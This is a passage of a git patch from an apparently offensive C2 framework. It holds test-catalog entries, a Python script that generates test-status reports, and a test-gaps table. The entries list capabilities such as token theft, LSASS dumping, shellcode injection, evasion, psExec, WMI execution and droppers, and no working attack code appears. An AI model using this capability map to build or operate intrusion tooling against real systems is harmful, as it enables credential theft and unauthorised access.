MODULE-WMIEXEC-CONTRACT-001 + area: Modules + feature: wmiExec + scenario: "Validate WMI execution parameters and execute a controlled remote command when lab target exists." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/WmiExec/tests/testsWmiExec.cpp", "core/modules/WmiExec/tests/functional/testsWmiExecFunctional.cpp"] + manual: ["Run wmiExec against a controlled Windows lab host."] + + - id: MODULE-MAKETOKEN-CONTRACT-001 + area: Modules + feature: makeToken + scenario: "Create a logon token from credentials and report authentication failures clearly." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/MakeToken/tests/testsMakeToken.cpp"] + manual: ["Run makeToken with known lab credentials and then whoami or a token-aware check."] + + - id: MODULE-STEALTOKEN-CONTRACT-001 + area: Modules + feature: stealToken + scenario: "Impersonate token from a safe process and report invalid PID/access errors clearly." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/StealToken/tests/testsStealToken.cpp"] + manual: ["Run stealToken against a controlled process in a lab VM."] + + - id: MODULE-REV2SELF-CONTRACT-001 + area: Modules + feature: rev2self + scenario: "Revert impersonation back to the original token." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/Rev2self/tests/testsRev2self.cpp"] + manual: ["Run makeToken or stealToken, then rev2self, then verify identity."] + + - id: MODULE-SPAWNAS-CONTRACT-001 + area: Modules + feature: spawnAs + scenario: "Spawn a process as supplied credentials and handle invalid packed parameters." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/SpawnAs/tests/testsSpawnAs.cpp", "core/modules/SpawnAs/tests/functional/testsSpawnAsFunctional.cpp"] + manual: ["Run spawnAs with known lab credentials and safe command."] + + - id: MODULE-REGISTRY-CONTRACT-001 + area: Modules + feature: registry + scenario: "Read/query registry keys and handle missing keys or malformed packed commands safely." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/Registry/tests/testsRegistry.cpp"] + manual: ["Run a read-only query for HKCU/HKLM known key and a missing key."] + + - id: MODULE-TASKSCHEDULER-CONTRACT-001 + area: Modules + feature: taskScheduler + scenario: "Create/query/delete a scheduled task and validate parameter errors." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/TaskScheduler/tests/testsTaskScheduler.cpp", "core/modules/TaskScheduler/tests/functional/testsTaskSchedulerFunctional.cpp"] + manual: ["Create and delete a harmless lab scheduled task."] + + - id: MODULE-EVASION-CONTRACT-001 + area: Modules + feature: evasion + scenario: "Run supported evasion actions and report unsupported or failed actions clearly." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/Evasion/tests/testsEvasion.cpp", "core/modules/Evasion/tests/functional/testsEvasionFunctional.cpp"] + manual: ["Run supported evasion command in isolated lab VM and verify output only."] + + - id: MODULE-ENUMERATESHARES-CONTRACT-001 + area: Modules + feature: enumerateShares + scenario: "Enumerate network shares with readable output and safe error handling." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/EnumerateShares/tests/testsEnumerateShares.cpp"] + manual: ["Run enumerateShares against localhost or a controlled lab host."] + + - id: MODULE-ENUMERATERDPSESSIONS-CONTRACT-001 + area: Modules + feature: enumerateRdpSessions + scenario: "Enumerate RDP sessions with readable output and safe error handling." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/EnumerateRdpSessions/tests/testsEnumerateRdpSessions.cpp", "core/modules/EnumerateRdpSessions/tests/functional/testsEnumerateRdpSessionsFunctional.cpp"] + manual: ["Run enumerateRdpSessions on a lab Windows host with known session state."] + + - id: MODULE-COMMANDSPEC-COVERAGE-001 + area: Modules + feature: CommandSpec coverage + scenario: "Every user-facing module command has a CommandSpec JSON and matching C2Client schema where applicable." + priority: critical + validation: auto + axes: {os: teamserver, arch: n/a, listener: n/a, artifact_category: command_specs} + evidence: + auto: ["teamServer/tests/TeamServerCommandCatalogTests.cpp", "C2Client/tests/assistant_agent/test_tool_loader.py", "C2Client/tests/assistant_agent/test_tool_registry.py"] + manual: [] + + - id: RELEASE-WINDOWS-ARTIFACTS-001 + area: Release + feature: Windows release artifacts + scenario: "Build/release output contains WindowsBeacons/, WindowsModules, Tools, Scripts, CommandSpecs, and TeamServer data layout." + priority: critical + validation: manual + axes: {os: windows, arch: any, listener: n/a, artifact_category: any} + evidence: + auto: [] + manual: ["Run clean release build and inspect build/artifacts/Release/data plus Windows artifact roots."] + + - id: RELEASE-LINUX-ARTIFACTS-001 + area: Release + feature: Linux release artifacts + scenario: "Build/release output contains LinuxBeacons/, LinuxModules/, Tools/Linux/, Scripts/Linux, and CommandSpecs." + priority: critical + validation: manual + axes: {os: linux, arch: any, listener: n/a, artifact_category: any} + evidence: + auto: [] + manual: ["Run clean release build and inspect Linux artifacts with arch subfolders."] + + - id: VALIDATION-GOLDEN-PATH-WINDOWS-001 + area: Validation + feature: Windows golden path + scenario: "End-to-end Windows x64 HTTPS validation: connect, load module, run commands, use artifacts, generate output, host artifact." + priority: critical + validation: manual + axes: {os: windows, arch: x64, listener: https, artifact_category: any} + evidence: + auto: [] + manual: ["Run the predetermined Windows golden path checklist once manual-results.yaml exists."] + + - id: VALIDATION-GOLDEN-PATH-LINUX-001 + area: Validation + feature: Linux golden path + scenario: "End-to-end Linux x64 HTTPS validation: connect, run commands, upload/download, script, and module lifecycle." + priority: critical + validation: manual + axes: {os: linux, arch: x64, listener: https, artifact_category: any} + evidence: + auto: [] + manual: ["Run the predetermined Linux golden path checklist once manual-results.yaml exists."] + + - id: VALIDATION-ERROR-HANDLING-001 + area: Validation + feature: Error handling + scenario: "Reject invalid commands, missing artifacts, missing tools, invalid listener fields, and failed module preparation with clear messages." + priority: critical + validation: auto+manual + axes: {os: any, arch: any, listener: any, artifact_category: any} + evidence: + auto: ["teamServer/tests/TeamServerCommandPreparationServiceTests.cpp", "C2Client/tests/test_listener_panel.py", "C2Client/tests/test_console_panel.py"] + manual: ["Attempt missing tool, missing script, invalid listener port, and unknown command from UI."] diff --git a/scripts/generate-test-state.py b/scripts/generate-test-state.py new file mode 100644 index 0000000..a51a2c1 --- /dev/null +++ b/scripts/generate-test-state.py @@ -0,0 +1,327 @@ +#!/usr/bin/env python3 +"""Generate validation state documents from the test catalog and result files.""" + +from __future__ import annotations + +import argparse +import json +import sys +from collections import Counter, defaultdict +from pathlib import Path +from typing import Any + +try: + import yaml +except ImportError as exc: # pragma: no cover - developer setup failure + raise SystemExit("PyYAML is required: python3 -m pip install pyyaml") from exc + + +VALID_RESULT_STATUSES = {"pass", "fail", "blocked", "untested"} +VALIDATION_MODES = {"auto", "manual", "auto+manual", "planned"} +PRIORITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3} +FINAL_ORDER = {"fail": 0, "blocked": 1, "partial": 2, "untested": 3, "planned": 4, "pass": 5} + + +def load_yaml(path: Path, fallback: dict[str, Any] | None = None) -> dict[str, Any]: + if not path.exists(): + return fallback or {} + with path.open("r", encoding="utf-8") as handle: + data = yaml.safe_load(handle) or {} + if not isinstance(data, dict): + raise ValueError(f"{path} must contain a YAML mapping") + return data + + +def load_auto_results(path: Path) -> list[dict[str, Any]]: + if not path.exists(): + return [] + with path.open("r", encoding="utf-8") as handle: + data = json.load(handle) + if isinstance(data, dict): + results = data.get("results", []) + else: + results = data + if not isinstance(results, list): + raise ValueError(f"{path} must contain a JSON list or an object with a results list") + return results + + +def normalize_status(value: Any) -> str: + status = str(value or "untested").strip().lower() + if status not in VALID_RESULT_STATUSES: + raise ValueError(f"invalid result status: {status}") + return status + + +def index_results( + results: list[dict[str, Any]], + source_name: str, + catalog_ids: set[str], +) -> dict[str, dict[str, Any]]: + indexed: dict[str, dict[str, Any]] = {} + for result in results: + if not isinstance(result, dict): + raise ValueError(f"{source_name} contains a non-object result") + result_id = str(result.get("id", "")).strip() + if not result_id: + raise ValueError(f"{source_name} contains a result without id") + if result_id not in catalog_ids: + raise ValueError(f"{source_name} references unknown catalog id: {result_id}") + if result_id in indexed: + raise ValueError(f"{source_name} contains duplicate result id: {result_id}") + normalized = dict(result) + normalized["status"] = normalize_status(result.get("status")) + indexed[result_id] = normalized + return indexed + + +def required_channels(validation: str) -> list[str]: + if validation == "auto": + return ["auto"] + if validation == "manual": + return ["manual"] + if validation == "auto+manual": + return ["auto", "manual"] + return [] + + +def final_status(validation: str, auto_status: str, manual_status: str) -> str: + if validation == "planned": + return "planned" + + statuses = [auto_status if channel == "auto" else manual_status for channel in required_channels(validation)] + if not statuses: + return "untested" + if any(status == "fail" for status in statuses): + return "fail" + if any(status == "blocked" for status in statuses): + return "blocked" + if all(status == "pass" for status in statuses): + return "pass" + if any(status == "pass" for status in statuses): + return "partial" + return "untested" + + +def result_summary(result: dict[str, Any] | None) -> str: + if not result: + return "" + parts = [] + for key in ("source", "evidence", "date", "build", "tester", "notes"): + value = result.get(key) + if value: + parts.append(f"{key}: {value}") + return "; ".join(parts) + + +def markdown_escape(value: Any) -> str: + text = str(value if value is not None else "") + return text.replace("|", "\\|").replace("\n", "
") + + +def priority_key(entry: dict[str, Any]) -> tuple[int, str, str]: + return ( + PRIORITY_ORDER.get(str(entry.get("priority", "")).lower(), 99), + str(entry.get("area", "")), + str(entry.get("id", "")), + ) + + +def state_key(row: dict[str, Any]) -> tuple[int, int, str, str]: + return ( + FINAL_ORDER.get(row["final"], 99), + PRIORITY_ORDER.get(row["priority"], 99), + row["area"], + row["id"], + ) + + +def build_rows( + catalog: dict[str, Any], + auto_results: dict[str, dict[str, Any]], + manual_results: dict[str, dict[str, Any]], +) -> list[dict[str, Any]]: + entries = catalog.get("entries", []) + if not isinstance(entries, list): + raise ValueError("catalog entries must be a list") + + rows: list[dict[str, Any]] = [] + for entry in sorted(entries, key=priority_key): + validation = str(entry.get("validation", "planned")).strip() + if validation not in VALIDATION_MODES: + raise ValueError(f"{entry.get('id')} has invalid validation mode: {validation}") + + entry_id = str(entry.get("id", "")).strip() + auto_result = auto_results.get(entry_id) + manual_result = manual_results.get(entry_id) + auto_status = normalize_status(auto_result.get("status") if auto_result else "untested") + manual_status = normalize_status(manual_result.get("status") if manual_result else "untested") + + rows.append( + { + "id": entry_id, + "area": str(entry.get("area", "")), + "feature": str(entry.get("feature", "")), + "scenario": str(entry.get("scenario", "")), + "priority": str(entry.get("priority", "")), + "validation": validation, + "auto": auto_status if "auto" in required_channels(validation) else "n/a", + "manual": manual_status if "manual" in required_channels(validation) else "n/a", + "final": final_status(validation, auto_status, manual_status), + "auto_detail": result_summary(auto_result), + "manual_detail": result_summary(manual_result), + "axes": entry.get("axes", {}), + } + ) + return rows + + +def write_state(path: Path, rows: list[dict[str, Any]], auto_path: Path, manual_path: Path) -> None: + counts = Counter(row["final"] for row in rows) + validation_counts = Counter(row["validation"] for row in rows) + area_counts: dict[str, Counter[str]] = defaultdict(Counter) + for row in rows: + area_counts[row["area"]][row["final"]] += 1 + + lines = [ + "# Test State", + "", + "_Generated by `scripts/generate-test-state.py`._", + "", + f"- Catalog entries: `{len(rows)}`", + f"- Auto results: `{auto_path}`", + f"- Manual results: `{manual_path}`", + "", + "## Final Status", + "", + "| Status | Count |", + "|---|---:|", + ] + for status in ("pass", "fail", "blocked", "partial", "untested", "planned"): + lines.append(f"| {status} | {counts.get(status, 0)} |") + + lines.extend(["", "## Validation Modes", "", "| Mode | Count |", "|---|---:|"]) + for mode in ("auto", "manual", "auto+manual", "planned"): + lines.append(f"| {mode} | {validation_counts.get(mode, 0)} |") + + lines.extend(["", "## By Area", "", "| Area | Pass | Fail | Blocked | Partial | Untested | Planned | Total |", "|---|---:|---:|---:|---:|---:|---:|---:|"]) + for area in sorted(area_counts): + counter = area_counts[area] + total = sum(counter.values()) + lines.append( + f"| {markdown_escape(area)} | {counter.get('pass', 0)} | {counter.get('fail', 0)} | " + f"{counter.get('blocked', 0)} | {counter.get('partial', 0)} | " + f"{counter.get('untested', 0)} | {counter.get('planned', 0)} | {total} |" + ) + + lines.extend( + [ + "", + "## Critical Non-Pass", + "", + "| Final | ID | Area | Feature | Auto | Manual |", + "|---|---|---|---|---|---|", + ] + ) + critical_rows = [ + row for row in rows if row["priority"] == "critical" and row["final"] != "pass" + ] + for row in sorted(critical_rows, key=state_key): + lines.append( + f"| {row['final']} | `{row['id']}` | {markdown_escape(row['area'])} | " + f"{markdown_escape(row['feature'])} | {row['auto']} | {row['manual']} |" + ) + if not critical_rows: + lines.append("| pass | _none_ | | | | |") + + path.write_text("\n".join(lines) + "\n", encoding="utf-8") + + +def write_gaps(path: Path, rows: list[dict[str, Any]]) -> None: + gaps = [row for row in rows if row["final"] != "pass"] + lines = [ + "# Test Gaps", + "", + "_Generated by `scripts/generate-test-state.py`._", + "", + "| Final | Priority | ID | Area | Feature | Scenario | Auto | Manual |", + "|---|---|---|---|---|---|---|---|", + ] + for row in sorted(gaps, key=state_key): + lines.append( + f"| {row['final']} | {row['priority']} | `{row['id']}` | {markdown_escape(row['area'])} | " + f"{markdown_escape(row['feature'])} | {markdown_escape(row['scenario'])} | " + f"{row['auto']} | {row['manual']} |" + ) + if not gaps: + lines.append("| pass | | _none_ | | | | | |") + path.write_text("\n".join(lines) + "\n", encoding="utf-8") + + +def write_matrix(path: Path, rows: list[dict[str, Any]]) -> None: + lines = [ + "# Test Matrix", + "", + "_Generated by `scripts/generate-test-state.py`._", + "", + "| Final | Validation | Priority | ID | Area | Feature | OS | Arch | Listener | Artifact | Auto | Manual |", + "|---|---|---|---|---|---|---|---|---|---|---|---|", + ] + for row in sorted(rows, key=lambda item: (item["area"], item["feature"], item["id"])): + axes = row.get("axes") if isinstance(row.get("axes"), dict) else {} + lines.append( + f"| {row['final']} | {row['validation']} | {row['priority']} | `{row['id']}` | " + f"{markdown_escape(row['area'])} | {markdown_escape(row['feature'])} | " + f"{markdown_escape(axes.get('os', ''))} | {markdown_escape(axes.get('arch', ''))} | " + f"{markdown_escape(axes.get('listener', ''))} | {markdown_escape(axes.get('artifact_category', ''))} | " + f"{row['auto']} | {row['manual']} |" + ) + path.write_text("\n".join(lines) + "\n", encoding="utf-8") + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument("--catalog", type=Path, default=Path("docs/testing/test-catalog.yaml")) + parser.add_argument("--manual", type=Path, default=Path("docs/testing/manual-results.yaml")) + parser.add_argument("--auto", type=Path, default=Path("build/test-results/auto-results.json")) + parser.add_argument("--output-dir", type=Path, default=Path("docs")) + return parser.parse_args() + + +def main() -> int: + args = parse_args() + catalog = load_yaml(args.catalog) + entries = catalog.get("entries", []) + if not isinstance(entries, list): + raise ValueError("catalog entries must be a list") + + catalog_ids = {str(entry.get("id", "")).strip() for entry in entries} + if "" in catalog_ids: + raise ValueError("catalog contains an entry without id") + if len(catalog_ids) != len(entries): + raise ValueError("catalog contains duplicate ids") + + manual_file = load_yaml(args.manual, {"results": []}) + manual_results = index_results(manual_file.get("results", []), str(args.manual), catalog_ids) + auto_results = index_results(load_auto_results(args.auto), str(args.auto), catalog_ids) + + rows = build_rows(catalog, auto_results, manual_results) + args.output_dir.mkdir(parents=True, exist_ok=True) + write_state(args.output_dir / "TEST_STATE.md", rows, args.auto, args.manual) + write_gaps(args.output_dir / "TEST_GAPS.md", rows) + write_matrix(args.output_dir / "TEST_MATRIX.md", rows) + + counts = Counter(row["final"] for row in rows) + print( + "Generated test state: " + + ", ".join(f"{status}={counts.get(status, 0)}" for status in ("pass", "fail", "blocked", "partial", "untested", "planned")) + ) + return 0 + + +if __name__ == "__main__": + try: + raise SystemExit(main()) + except Exception as exc: + print(f"error: {exc}", file=sys.stderr) + raise SystemExit(1) From 939b64d2d274fbc3103465f7408a2e6f62692c26 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Thu, 7 May 2026 11:20:45 +0200 Subject: [PATCH 49/82] Auto tests --- docs/TEST_GAPS.md | 198 ++++++++++--------- docs/TEST_MATRIX.md | 204 ++++++++++---------- docs/TEST_STATE.md | 84 ++++----- scripts/run-validation-suite.sh | 324 ++++++++++++++++++++++++++++++++ 4 files changed, 561 insertions(+), 249 deletions(-) create mode 100644 scripts/run-validation-suite.sh diff --git a/docs/TEST_GAPS.md b/docs/TEST_GAPS.md index f6f3a8b..62571c9 100644 --- a/docs/TEST_GAPS.md +++ b/docs/TEST_GAPS.md @@ -4,116 +4,110 @@ _Generated by `scripts/generate-test-state.py`._ | Final | Priority | ID | Area | Feature | Scenario | Auto | Manual | |---|---|---|---|---|---|---|---| -| untested | critical | `ARTIFACT-GENERATED-001` | Artifacts | GeneratedArtifacts | Store download, screenshot, minidump, shellcode, hosted, and future generated categories with sidecars. | untested | untested | -| untested | critical | `ARTIFACT-LAYOUT-001` | Artifacts | Release data layout | Release scripts place files under the canonical data layout with platform and arch subfolders. | untested | untested | -| untested | critical | `ARTIFACT-TOOLS-001` | Artifacts | Tools | Resolve Tools// and Tools/Any/any for module preparers and terminal upload. | untested | untested | -| untested | critical | `BEACON-CORE-CHUNKED-RESULTS-001` | Beacon | Chunked command results | Emit recurring chunks for large results and finish with a single success response. | untested | untested | -| untested | critical | `BEACON-CORE-HEARTBEAT-001` | Beacon | Heartbeat and state | Update last seen, stale state, listener proof of life, and reconnect behavior. | untested | untested | -| untested | critical | `BEACON-CORE-MODULE-LIFECYCLE-001` | Beacon | Module lifecycle | loadModule, unloadModule, listModule, duplicate-load rejection, and module count tracking. | untested | untested | -| untested | critical | `BEACON-CORE-REGISTER-001` | Beacon | Registration and metadata | Register hostname, username, OS, arch, privilege, process id, internal IPs, and additional information. | untested | untested | -| untested | critical | `BEACON-CORE-TASK-QUEUE-001` | Beacon | Task queue | Receive tasks, execute common commands/modules, return command IDs, and preserve command context. | untested | untested | -| untested | critical | `C2CLIENT-ARTIFACTS-LIST-001` | C2Client | Artifacts tab | List CommandSpecs, Tools, Scripts, UploadedArtifacts, GeneratedArtifacts, hosted artifacts, beacons, and modules with category filters. | untested | untested | -| untested | critical | `C2CLIENT-CONFIG-ENV-001` | C2Client | Config loading | Load .env values and environment overrides with documented precedence. | untested | n/a | -| untested | critical | `C2CLIENT-CONSOLE-AUTOCOMPLETE-001` | C2Client | Beacon console autocomplete | Build autocomplete from CommandSpec, artifact catalog, sessions, listeners, and loaded module state. | untested | untested | -| untested | critical | `C2CLIENT-RPC-BINDINGS-001` | C2Client | Protocol bindings | Expose TeamServer RPC fields used by sessions, listeners, artifacts, commands, and hooks. | untested | n/a | -| untested | critical | `C2CLIENT-STARTUP-GUI-001` | C2Client | GUI startup | Start python3 -m C2Client.GUI without crashing and create non-closable core tabs. | untested | untested | -| untested | critical | `C2CLIENT-TERMINAL-HOST-001` | C2Client | Terminal host command | Host an artifact reference through GeneratedArtifacts/hosted instead of arbitrary legacy file paths. | untested | untested | -| untested | critical | `COMMON-HELP-001` | CommonCommands | help | List commands and show command-specific help from CommandSpec. | untested | untested | -| untested | critical | `COMMON-LOADMODULE-001` | CommonCommands | loadModule | Autocomplete unloaded modules, resolve module artifacts by OS/arch, and reject duplicates. | untested | untested | -| untested | critical | `COMMON-UNLOADMODULE-001` | CommonCommands | unloadModule | Autocomplete loaded modules and unload selected module. | untested | untested | -| untested | critical | `LISTENER-HTTPS-001` | Listeners | HTTPS listener | Start listener, register beacon, exchange tasks/results, host artifacts, and stop listener. | untested | untested | -| untested | critical | `MODULE-ASSEMBLYEXEC-CONTRACT-001` | Modules | assemblyExec | Generate shellcode on TeamServer from exe/dll/raw artifacts, preserve args, autocomplete artifact inputs, and execute on Windows beacon. | untested | untested | -| untested | critical | `MODULE-COMMANDSPEC-COVERAGE-001` | Modules | CommandSpec coverage | Every user-facing module command has a CommandSpec JSON and matching C2Client schema where applicable. | untested | n/a | -| untested | critical | `MODULE-DOWNLOAD-CONTRACT-001` | Modules | download | Download remote file into GeneratedArtifacts/download/beacon using chunked output and registered sidecar. | untested | untested | -| untested | critical | `MODULE-INJECT-CONTRACT-001` | Modules | inject | Prepare shellcode payload from tools/beacons/raw, support pid/spawn modes, autocomplete payload and args, and execute on Windows beacon. | untested | untested | -| untested | critical | `MODULE-POWERSHELL-CONTRACT-001` | Modules | powershell | Execute inline commands and Scripts-backed -s payloads without sending literal -s to PowerShell. | untested | untested | -| untested | critical | `MODULE-PWSH-CONTRACT-001` | Modules | pwSh | Load fixed rdm.dll from Tools/Any/any and execute/import PowerShell runner commands. | untested | untested | -| untested | critical | `MODULE-UPLOAD-CONTRACT-001` | Modules | upload | Upload an UploadedArtifact to a remote path with server-controlled input resolution. | untested | untested | +| partial | critical | `ARTIFACT-GENERATED-001` | Artifacts | GeneratedArtifacts | Store download, screenshot, minidump, shellcode, hosted, and future generated categories with sidecars. | pass | untested | +| partial | critical | `ARTIFACT-LAYOUT-001` | Artifacts | Release data layout | Release scripts place files under the canonical data layout with platform and arch subfolders. | pass | untested | +| partial | critical | `ARTIFACT-TOOLS-001` | Artifacts | Tools | Resolve Tools// and Tools/Any/any for module preparers and terminal upload. | pass | untested | +| partial | critical | `BEACON-CORE-CHUNKED-RESULTS-001` | Beacon | Chunked command results | Emit recurring chunks for large results and finish with a single success response. | pass | untested | +| partial | critical | `BEACON-CORE-HEARTBEAT-001` | Beacon | Heartbeat and state | Update last seen, stale state, listener proof of life, and reconnect behavior. | pass | untested | +| partial | critical | `BEACON-CORE-MODULE-LIFECYCLE-001` | Beacon | Module lifecycle | loadModule, unloadModule, listModule, duplicate-load rejection, and module count tracking. | pass | untested | +| partial | critical | `BEACON-CORE-REGISTER-001` | Beacon | Registration and metadata | Register hostname, username, OS, arch, privilege, process id, internal IPs, and additional information. | pass | untested | +| partial | critical | `BEACON-CORE-TASK-QUEUE-001` | Beacon | Task queue | Receive tasks, execute common commands/modules, return command IDs, and preserve command context. | pass | untested | +| partial | critical | `C2CLIENT-ARTIFACTS-LIST-001` | C2Client | Artifacts tab | List CommandSpecs, Tools, Scripts, UploadedArtifacts, GeneratedArtifacts, hosted artifacts, beacons, and modules with category filters. | pass | untested | +| partial | critical | `C2CLIENT-CONSOLE-AUTOCOMPLETE-001` | C2Client | Beacon console autocomplete | Build autocomplete from CommandSpec, artifact catalog, sessions, listeners, and loaded module state. | pass | untested | +| partial | critical | `C2CLIENT-STARTUP-GUI-001` | C2Client | GUI startup | Start python3 -m C2Client.GUI without crashing and create non-closable core tabs. | pass | untested | +| partial | critical | `C2CLIENT-TERMINAL-HOST-001` | C2Client | Terminal host command | Host an artifact reference through GeneratedArtifacts/hosted instead of arbitrary legacy file paths. | pass | untested | +| partial | critical | `COMMON-HELP-001` | CommonCommands | help | List commands and show command-specific help from CommandSpec. | pass | untested | +| partial | critical | `COMMON-LOADMODULE-001` | CommonCommands | loadModule | Autocomplete unloaded modules, resolve module artifacts by OS/arch, and reject duplicates. | pass | untested | +| partial | critical | `COMMON-UNLOADMODULE-001` | CommonCommands | unloadModule | Autocomplete loaded modules and unload selected module. | pass | untested | +| partial | critical | `LISTENER-HTTPS-001` | Listeners | HTTPS listener | Start listener, register beacon, exchange tasks/results, host artifacts, and stop listener. | pass | untested | +| partial | critical | `MODULE-ASSEMBLYEXEC-CONTRACT-001` | Modules | assemblyExec | Generate shellcode on TeamServer from exe/dll/raw artifacts, preserve args, autocomplete artifact inputs, and execute on Windows beacon. | pass | untested | +| partial | critical | `MODULE-DOWNLOAD-CONTRACT-001` | Modules | download | Download remote file into GeneratedArtifacts/download/beacon using chunked output and registered sidecar. | pass | untested | +| partial | critical | `MODULE-INJECT-CONTRACT-001` | Modules | inject | Prepare shellcode payload from tools/beacons/raw, support pid/spawn modes, autocomplete payload and args, and execute on Windows beacon. | pass | untested | +| partial | critical | `MODULE-POWERSHELL-CONTRACT-001` | Modules | powershell | Execute inline commands and Scripts-backed -s payloads without sending literal -s to PowerShell. | pass | untested | +| partial | critical | `MODULE-PWSH-CONTRACT-001` | Modules | pwSh | Load fixed rdm.dll from Tools/Any/any and execute/import PowerShell runner commands. | pass | untested | +| partial | critical | `MODULE-UPLOAD-CONTRACT-001` | Modules | upload | Upload an UploadedArtifact to a remote path with server-controlled input resolution. | pass | untested | +| partial | critical | `TEAMSERVER-ARTIFACT-CATALOG-001` | TeamServer | Artifact catalog | List, filter, upload, delete, and resolve artifacts by category/platform/arch/runtime/source. | pass | untested | +| partial | critical | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | Resolve release data layout for Tools, Scripts, UploadedArtifacts, GeneratedArtifacts, hosted, Beacons, Modules, and CommandSpecs. | pass | untested | +| partial | critical | `TEAMSERVER-FILE-TRANSFER-001` | TeamServer | File transfer service | Prepare upload/download paths, write chunked command results, and keep command context until final success. | pass | untested | +| partial | critical | `TEAMSERVER-LISTENER-SESSION-SERVICE-001` | TeamServer | Listener/session service | Stream sessions/listeners, queue commands, deduplicate responses, track modules, and route command results. | pass | untested | +| partial | critical | `TEAMSERVER-STARTUP-TLS-001` | TeamServer | Startup and TLS | Start TeamServer with generated certificate, client auth, and readable config errors. | pass | untested | +| partial | critical | `VALIDATION-ERROR-HANDLING-001` | Validation | Error handling | Reject invalid commands, missing artifacts, missing tools, invalid listener fields, and failed module preparation with clear messages. | pass | untested | +| partial | high | `ARTIFACT-SCRIPTS-001` | Artifacts | Scripts | Resolve Scripts/Windows, Scripts/Linux, and Scripts/Any for script-backed commands. | pass | untested | +| partial | high | `ARTIFACT-UPLOADED-001` | Artifacts | UploadedArtifacts | Resolve operator-uploaded payloads by category, platform, arch, and Any/any fallback. | pass | untested | +| partial | high | `C2CLIENT-ARTIFACTS-DELETE-001` | C2Client | Artifact delete | Delete generated and hosted artifacts using artifact IDs, not legacy terminal paths. | pass | untested | +| partial | high | `C2CLIENT-ARTIFACTS-DOWNLOAD-001` | C2Client | Artifact download | Download selected artifacts from TeamServer to the client filesystem. | pass | untested | +| partial | high | `C2CLIENT-ARTIFACTS-UPLOAD-001` | C2Client | Artifact upload | Upload operator files into UploadedArtifacts with selected platform and arch. | pass | untested | +| partial | high | `C2CLIENT-CONFIG-CERT-001` | C2Client | TLS certificate config | Use C2_CERT_PATH when set and report a clear error when the certificate is missing. | pass | untested | +| partial | high | `C2CLIENT-CONSOLE-FORMATTING-001` | C2Client | Console formatting | Use unified timestamp, marker, and body colors with no duplicated queued/done/result lines. | pass | untested | +| partial | high | `C2CLIENT-CONSOLE-HELP-001` | C2Client | Beacon command help | Render help from TeamServer CommandSpec without legacy << or >> markers. | pass | untested | +| partial | high | `C2CLIENT-HOOKS-PANEL-001` | C2Client | Hooks panel | List hooks with descriptions/tooltips, activation counts, and manual start using context snapshot. | pass | untested | +| partial | high | `C2CLIENT-LISTENER-PANEL-001` | C2Client | Listener panel | Render listeners table, restrict form fields, and preserve column sizing during refresh. | pass | untested | +| partial | high | `C2CLIENT-SESSION-PANEL-001` | C2Client | Sessions panel | Render sessions table with stable column sizing, readable IPs, last seen, state, OS tooltip, and module count context. | pass | untested | +| partial | high | `C2CLIENT-TERMINAL-BASE-001` | C2Client | Terminal tab | Show base help text, command history, unified colors, and terminal autocomplete. | pass | untested | +| partial | high | `C2CLIENT-TERMINAL-DROPPER-001` | C2Client | Dropper | Generate and host droppers with selected beacon arch and shellcode generator. | pass | untested | +| partial | high | `COMMON-END-001` | CommonCommands | end | Stop a beacon session cleanly. | pass | untested | +| partial | high | `COMMON-LISTENER-001` | CommonCommands | listener | Start and stop child listeners from a beacon using validated listener parameters. | pass | untested | +| partial | high | `COMMON-LISTMODULE-001` | CommonCommands | listModule | List loaded modules by name and state in the beacon console. | pass | untested | +| partial | high | `COMMON-SLEEP-001` | CommonCommands | sleep | Change beacon sleep interval and reject invalid values clearly. | pass | untested | +| partial | high | `MODULE-CHISEL-CONTRACT-001` | Modules | chisel | Resolve fixed chisel binary from Tools for beacon arch and manage chisel start/status/stop. | pass | untested | +| partial | high | `MODULE-COFFLOADER-CONTRACT-001` | Modules | coffLoader | Load COFF object from Tools and execute with packed arguments. | pass | untested | +| partial | high | `MODULE-DOTNETEXEC-CONTRACT-001` | Modules | dotnetExec | Load .NET assemblies from Tools, execute loaded assemblies, and autocomplete load artifacts. | pass | untested | +| partial | high | `MODULE-KERBEROSUSETICKET-CONTRACT-001` | Modules | kerberosUseTicket | Load kirbi ticket from UploadedArtifacts and apply it on Windows beacon. | pass | untested | +| partial | high | `MODULE-MINIDUMP-CONTRACT-001` | Modules | miniDump | Dump LSASS to XORed GeneratedArtifacts/minidump/beacon output and support local decrypt helper. | pass | untested | +| partial | high | `MODULE-PSEXEC-CONTRACT-001` | Modules | psExec | Resolve service executable from Tools or UploadedArtifacts, handle credentials, and execute remote service command. | pass | untested | +| partial | high | `MODULE-REVERSEPORTFORWARD-CONTRACT-001` | Modules | reversePortForward | Start/stop reverse port forwarding and emit recurring traffic chunks. | pass | untested | +| partial | high | `MODULE-RUN-CONTRACT-001` | Modules | run | Run local process commands with stdout/stderr capture and startup failure handling. | pass | untested | +| partial | high | `MODULE-SCREENSHOT-CONTRACT-001` | Modules | screenShot | Capture desktop BMP, return chunked generated screenshot artifact, and show a single final console result. | pass | untested | +| partial | high | `MODULE-SCRIPT-CONTRACT-001` | Modules | script | Execute Scripts-backed Windows/Linux scripts with server-side script artifact resolution. | pass | untested | +| 